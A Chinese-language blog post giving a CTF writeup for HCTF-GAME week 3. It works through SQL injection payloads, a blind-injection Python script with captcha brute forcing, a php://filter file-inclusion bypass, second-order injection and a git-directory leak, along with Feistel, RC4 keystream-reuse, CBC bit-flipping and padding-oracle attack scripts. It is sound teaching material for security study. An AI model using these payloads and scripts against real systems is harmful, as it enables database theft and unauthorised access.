HeartSky's blog


在渗透之路上渐行渐远


HCTF-GAME week3 writeup

从0开始之SQLI之0

题目描述: http://45.32.25.65/nweb/sqli1/?user=user1

打开后加个单引号返回

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''user1''' at line 1

确定用的是单引号,并且没有什么过滤。尝试 '||'1 来得到当前表中的所有数据,得到提示

1
maybe flag is in another space

猜测 flag 在另一张表中,采用联合查询来获取表名、列名

1
2
3
' union select table_name,column_name from information_schema.columns where table_schema=database()%23

hhhhctf flag

获取 flag

1
' union select 1,flag from hhhhctf%23

从0开始之SQLI之1

题目描述: http://45.32.25.65/nweb/sqli2/?id=1

根据 id=2-11%2b1 的返回结果确定是数字型注入
测试了下 name 一列必须返回 user 才显示,那就不能通过直接 union 查询的方式获取了
但是单引号还是有错误,那么这里应该是报错注入(显错注入)了,大概就是这样

1
1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))%23

简单来说,对于 ExtractValue 和 UpdateXML 函数而言,第二个参数值应该是一个 XPATH 表达式,如果不合法(包含特殊符号),就会报 XPATH 语法错误

想要知道具体原理的可以看下我以前写的一篇文章

从0开始之SQLI之2

题目描述: 让火焰净化一切…
http://45.32.25.65/nweb/sqli3/

题目形式和上题类似,加了个验证码。简单测试下,可以发现没有任何错误回显了,只有 it must return username 的提示,那么就是盲注了,必须要写脚本了 233

大致思路就是一位一位的选取出表名、列名以及最后的 flag,还是直接贴上脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# coding=utf-8
'''
HTTP POST
盲注
'''
import requests
import re
import hashlib

url = 'http://45.32.25.65/nweb/sqli3/index.php'
pat = '</th></tr><tr><td>(.*?)</td><td>'
headers = {"Cookie":"PHPSESSID=c8qn7ef6lg7pvmof8hnlbhcdb6"}

def getDatabase():
payload = "-1 UNION SELECT length(DATABASE()),'user'#"
databaseLen = getData(payload)
database = ''
for i in range(int(databaseLen)):
payload = "-1 UNION SELECT ascii(substring(DATABASE()," + str(i+1) + ",1)),'user'#"
ch = getData(payload)
database += chr(int(ch))
print '[*] The current database is ' + database

def getTables():
payload = "-1 UNION SELECT count(*),'user' FROM information_schema.tables WHERE table_schema=DATABASE()#"
tableNumber = getData(payload)
print '[*] Table number is ' + tableNumber
for i in range(int(tableNumber)):
tableName = ''
print '[*] Table name ' + str(i) + ': ',
payload = "-1 UNION SELECT length(table_name),'user' FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT " + str(i) +",1#"
tableLen = getData(payload)
for j in range(int(tableLen)):
payload = "-1 UNION SELECT ascii(substring(table_name," + str(j+1) + ",1)),'user' FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT " + str(i) +",1#"
ch = getData(payload)
tableName += chr(int(ch))
print tableName
getColumns(tableName)

def getColumns(table):
payload = "-1 UNION SELECT count(*),'user' FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='" + table + "'#"
columnNumber = getData(payload)
print ' [*] Column number is ' + columnNumber
for i in range(int(columnNumber)):
columnName = ''
print ' [*] Column name ' + str(i) + ': ',
payload = "-1 UNION SELECT length(column_name),'user' FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='" + table + "' LIMIT " + str(i) +",1#"
columnLen = getData(payload)
for j in range(int(columnLen)):
payload = "-1 UNION SELECT ascii(substring(column_name," + str(j+1) + ",1)),'user' FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='" + table + "' LIMIT " + str(i) +",1#"
ch = getData(payload)
columnName += chr(int(ch))
print columnName

def getFlag():
payload = "-1 UNION SELECT length(flag),'user' FROM hhhhhhctf#"
flagLen = getData(payload)
print flagLen
flag = ''
for i in range(int(flagLen)):
payload = "-1 UNION SELECT ascii(substring(flag," + str(i+1) + ",1)),'user' FROM hhhhhhctf#"
ch = getData(payload)
flag += chr(int(ch))
print flag
print '[*] The flag is: ' + flag

def getData(payload):
r = requests.get(url, headers=headers)
md5 = r.text.split('==\'')[1][0:4]
code = blasting(md5)
data = {'id':payload,'code':code}
r = requests.post(url, data=data, headers=headers)
return re.search(pat,r.text).group(1)

def blasting(code):
for i in range(1000000):
md5 = hashlib.md5(str(i)).hexdigest()[0:4]
if md5 == code:
return i

def main():
# getDatabase()
# getTables()
# getFlag()
print blasting('52c8')

if __name__ == '__main__':
main()

PS: 看你们提交的 wp,都是在一位位的爆破,233

从0开始LFI之2

题目描述: flag还在../flag.php下,不信你还能拿到 (╯‵□′)╯︵┻━┻
http://119.29.138.57:12002/

虽然很多人直接搜到了 payload,还是说下正常解题的思路吧

打开后首先发现参数名是 img,之前一直是 file(这也算提示了吧),测试了下就会发现参数必须包含 jpg,否则会出现

1
File not found.

尝试使用 php 伪协议来读取源码,既然有 jpg 的限制,那我们先读下它

1
img=php://filter/convert.base64-encode/resource=1.jpg

结果发现仍然返回的是一张图片,这就很奇怪了,不应该返回的是 base64 编码吗,猜测是有什么过滤导致最后还是

1
include('1.jpg')

我觉得这里应该是要猜出题者的意图吧,既然你想用 php 伪协议读到源码,那我匹配下,仍然包含后面的不行了,结合对 1.jpg 的测试猜测大致的匹配是

1
php://filter.*resource=(.*)

根据匹配,然后提交

1
img=php://filter/jpg/resource=../flag.php

结果仍然提示 File not found.,说明还有我们没想到的过滤,出题人如果也想到了你会这样做呢,他可能会做出一些过滤来让 resource 后面得是 jpg,而不是 php 什么的,大致有这么个匹配

1
resource/.*jpg

如果参数中有 resource 的话,必须匹配上面才行

整理下现在得到的分析下,要拿到 flag,必须有 resource=../flag.php,还必须有 resource=jpg,这里就是利用了 php 正则匹配的最大贪婪原则,如果我们这样构造

1
img=php://filter/resource=jpg/resource=../flag.php

php 的正则在匹配到 resource=jpg 的时候并没有停下,而是继续向前,直到匹配不到,就返回原来的匹配,如名,返回的是最大长度的匹配

PS: 当然这都是我 yy 的,忘了哪个 CTF 的题了,我觉得出题者差不多是这么想的吧(逃

PENTEST

LoRexxar的渗透之战之一

题目描述: 从这个题目开始将会是一个大型的渗透系列题目,前面遇到的web漏洞将会以不同的方式出现在题目中,你能抓住那些漏洞吗?
1、这个站才刚刚开始写,好像还什么都没有啊>x<
http://115.28.78.16:13333/d23fd789868fa2c8b3942a811f63adb7/0x01/

打开发现,只有一个简单的注册登录功能,还有一个发送验证码的功能,然后抓了个包,发现验证码在源码里,提交并登录,就拿到 flag 了……

问了下出题人,是这样一种情景。当一个网站在还没有写完,测试的时候还要登录,所以把验证码输出在了源码里

flag售货机

题目描述: http://115.28.78.16:13333/b5062b7c25276283ed5f8a5e9026b762/
欢迎来到flag售货机

扫了下,发现 .git 目录存在,于是用 dvcs-ripper 拿到源码,主要有这几个文件,也是大致的流程

1
2
3
4
5
register.php 注册
login.php 登录
user.php 用户界面
recharge.php 增加金额
buy.php 购买 flag

整个代码写的还是挺清晰的,用户只能增加一次金额,但不够买 flag 的,看下 recharge.php,是通过用户增加金额后就从 volume 表中删除记录,所以不能再次购买了

注册和登录时都进行了转义,没什么问题,问题在于 recharge.php 对从数据库中取出来的数据进行了使用,你没觉得第3行查询时用的是 $user,到了第7行却用的是 $req['username'] 很奇怪吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$user = $_SESSION['user'];

$query = "select * from users where username = '{$user}'";
$result = $db->query($query);
$num_results = $result->num_rows;
$req = $result->fetch_assoc();

$query = "select * from volumes where username = '{$req['username']}'";
$result = $db->query($query);
var_dump($result);
$num_results = $result->num_rows;
var_dump($num_results);
......
......
$query = "UPDATE `users` SET `balance` = `balance` + 2000000 WHERE id = {$req['id']}";
$result = $db->query($query);

$query = "DELETE FROM `volumes` WHERE username = '{$req['username']}'";
$result = $db->query($query);

这里的知识点是二次注入,虽然注册时进行了过滤,但入库时是危险的数据,出库时也是危险的数据

本地数据库操作下就知道了

1
2
3
4
5
6
7
8
9
mysql> insert into test values(1,1,'\'');
mysql> select * from users;

+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 1 | ' |
+----+----------+----------+
1 row in set (0.00 sec)

虽然插入的时候是转义的,存储的时候是没有反斜杠的,所以从数据库取出来数据的时候如果不进行转义等操作,就会造成二次注入

所以只要构造 payload 让 select 执行,delete 不执行就可以了
这就是有趣的地方了,只有 select 支持联合查询,所以当我们构造用户名为

1
}' union select 1,2#

select 成功执行了,但是 delete 因为不支持 union 操作,所以报错,不执行

Crypto

节后综合征,不想写了,明天再写吧(逃

explorer的奇怪番外3

题目描述: http://121.42.25.113/Feistel/Feistel.html

Feisitel 网络,相应的写个解密函数就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from hashlib import sha256

def xor(a,b):
return ''.join([chr(ord(i)^ord(j)) for i,j in zip(a,b)])

def HASH(data):
return sha256(data).digest()[:8]

def bes_encrypt(subkeys, data):
i = 0
d1 = data[:8]
d2 = data[8:]
for i in subkeys:
d1 = xor(xor(HASH(d2),i),d1)
d1,d2 = d2,d1

return d2 + d1

d2 = "1fde6a7b2ff15d0a".decode('hex')
d1 = "bad691215ca5d470".decode('hex')

def bes_decrypt(d2,d1):
subKeys = key_schedule('explorer')
for i in xrange(15,-1,-1):
d1,d2 = d2,d1
d1 = xor(xor(d1,subKeys[i]),HASH(d2))
print d2
print d1

def key_schedule(key):
subKeys = []
subKey = key
for i in xrange(16):
subKey = HASH(subKey)
subKeys.append(subKey)
return subKeys

def bes(key,data):
subKeys = key_schedule(key)
return bes_encrypt(subKeys, data).encode('hex')

# 1fde6a7b2ff15d0a bad691215ca5d470
# the result is "1fde6a7b2ff15d0abad691215ca5d470"
# if __name__ == "__main__":
# bes('explorer','??flag_is_here??')

# print key_schedule('explorer')
bes_decrypt(d2,d1)

进击的 Crypto [1]

题目描述: 让我们来玩点有趣的东西 :)
http://119.29.138.57:23333/crypto/encode_system/

题目思路来源于 HCTF 2014 中的 server is done 题目
题目是采用的 RC4 算法来产生密钥流,然后对用户的输入进行加密,其中 flag 也被相同的密钥进行了加密,密文在源码中,有个小坑是 flag 的密文是没经任何处理直接输出的,包含的不可显字符就不能直接复制下来了,这里我是通过写了个 Python 脚本来获取的。

因为我们不知道密钥是多少位的,直接传入很长的明文,这样我们有了明文1,密文1,密文2,就能知道明文2的内容了,贴上个以前写的 PHP 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// 明文、密文、密钥长度一样
/*
流密码加密
E(A) = A xor C
E(B) = B xor C
E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B
E(A) xor A = A xor C xor A = C
E(B) xor C = B xor C xor C = B
*/
$message = "3131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131";
$cipher = "66706d04437b15455e4503464f50714d5e066a1d765873527340706b5e6d03556d1054064a01576660677d067451696a467154426c40146146475c62470e59641c1d4051720e0f187e026f4c411f0509767b5744656d4552746b7a66446d1558525c1f1863430f585a0264670c55045e72675d4d55714159715074474b511906";
$message2 = "";
$cipher2 = "2f1433790f73490d1215180f354f2337560f22646b096326265d3d1b573a40311012321e281d1c3f75267d5211273e2b2928354d65150b15071d0417441530096a1c4e1e21067343206c39061c1f071e78180145183d03512f2d7a6b5007000c40597f483a1a5d1d0d48073f4b01001b1c155d0c0c250237743e74052505524a";
$key = "";

// pack()函数 把一定格式的数据装入一个二进制字符串 H 16进制格式
// bin2hex()函数 把二进制字符串转换成16进制字符串
$key = bin2hex(pack('H*',$cipher) ^ pack('H*',$message));
$message2 = bin2hex(pack('H*',$cipher2) ^ pack('H*',$key));
echo $message2;
?>

explorer的奇怪番外5

题目描述: http://121.42.25.113/crypto1/crypto1.html

cbc byte flipping attack(cbc 字节翻转攻击),核心是利用异或
题目要求输入一段 token,aes 解密后明文是 admin:alvndasjnc。提供了注册功能,但是不能直接输入明文,如果我们改变明文的第一个字母为 b,通过下面的异或操作就能得到原明文对应的 token,假设中间值为 mid,a 对应的密文部分为 aa,b 对应的密文部分为 bb

1
2
'b' xor mid = bb
'b' xor mid xor 'b' xor 'a' = aa

对于这道题来说则是,注册 bdmin:alvndasjnc,得到 token 值 8eb9e846f62c5036a8bfa2bd3f6ff9c65d7b15e6eb0494081a7f1c74e9cc4e37a7585b5a9d17d775291595adaa12701c,更改 IV 的首字节

1
0x8e xor 0x62 xor 0x61 = 0x8d

提交 8db9e846f62c5036a8bfa2bd3f6ff9c65d7b15e6eb0494081a7f1c74e9cc4e37a7585b5a9d17d775291595adaa12701c,得到 flag

explorer的奇怪番外6

题目描述: http://121.42.25.113/crypto2/crypto2.html

题目已经说了是 padding oracle attack,网上关于这种攻击的资料很多,原理不再叙述

因为网上大多是 Web 应用中的已知密文的攻击,而这道题是已知明文的攻击。不过大同小异。

HCTF_GAME_week3_wp_1.png
如果我们先随便选取一段密文,根据这种攻击的思想跑出相应的 IV,但是问题在于此时的明文不一定是我们想要的。我们知道 AES 解密后的中间值(即上图中的 Intermidiary Value)是不变的,对于同一段密文和 key 来说。假设我们之前跑出来的明文及 IV 分别为 m1、IV1,要求的明文及 IV 为 m2、IV2
\begin{matrix} m1\ xor\ IV1 = Intermidiary\ Value \\
m2\ xor\ IV2 = Intermidiary\ Value \\
IV2 = Intermidiary\ Value\ xor\ m2 \end{matrix}
也就是说我们用跑出来的 Intermidiary Value 和 想要的明文进行异或,就得得到符合要求的 IV,然后我们从最后一组 token 往前跑,因为这样就可以异或得到的 IV 作为前一组的密文

脚本写的复杂了些,不过应该比较好理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import time
import socket
import random

host = '121.42.25.113'
port = 20003
sk = socket.socket()
sk.connect((host,port))
time.sleep(0.5)
mes = sk.recv(1024)

msg1 = 'admin:alvndasjnc'.encode('hex')
msg2 = 'akslbdvlaksdn'.encode('hex') + '03' * 3
intermediary = list('-' * 32)
IV = '0' * 32

def sendData(IV, c):
IV = ''.join(IV)
sk.sendall('1\n')
sk.recv(1024)
sk.sendall(IV + c + '\n')
time.sleep(0.01)
mes = sk.recv(1024)
return mes

def changeIV(IV, num):
tmp = (32 - num)/2
nextPad = tmp + 1
print str(num + 1).zfill(2) + '-' + str(num + 2).zfill(2) + ': ',
for i in range(1,tmp + 1):
tmp2 = 32 - 2 * i
IV[tmp2:tmp2+2] = hex(int(''.join(IV[tmp2:tmp2+2]),16) ^ tmp ^ nextPad)[2:].zfill(2)
return ''.join(IV)

def changeMessageIV(IV, m):
num = 1
for i in range(30,-1,-2):
IV[i:i+2] = hex(int(''.join(IV[i:i+2]),16) ^ 17 ^ int(''.join(m[i:i+2]),16))[2:].zfill(2)
num += 1
return ''.join(IV)

def run(m, c):
IV = '0' * 32
num = 30
while 1:
if num < 0:
return changeMessageIV(list(IV), list(m))
for i in range(256):
h = hex(i)[2:].zfill(2)
IV = list(IV)
IV[num:num+2] = h
res = sendData(IV, c)
if 'decrypt error' not in res:
IV = changeIV(IV, num)
print IV
num -= 2
break

def main():
c = '0' * 32
token2 = run(msg2,c)
print 'The token 2 is ' + token2
c = token2
token1 = run(msg1,c)
print 'The token 1 is ' + token1
print sendData(token1,token2 + '0'*32)

if __name__ == '__main__':
main()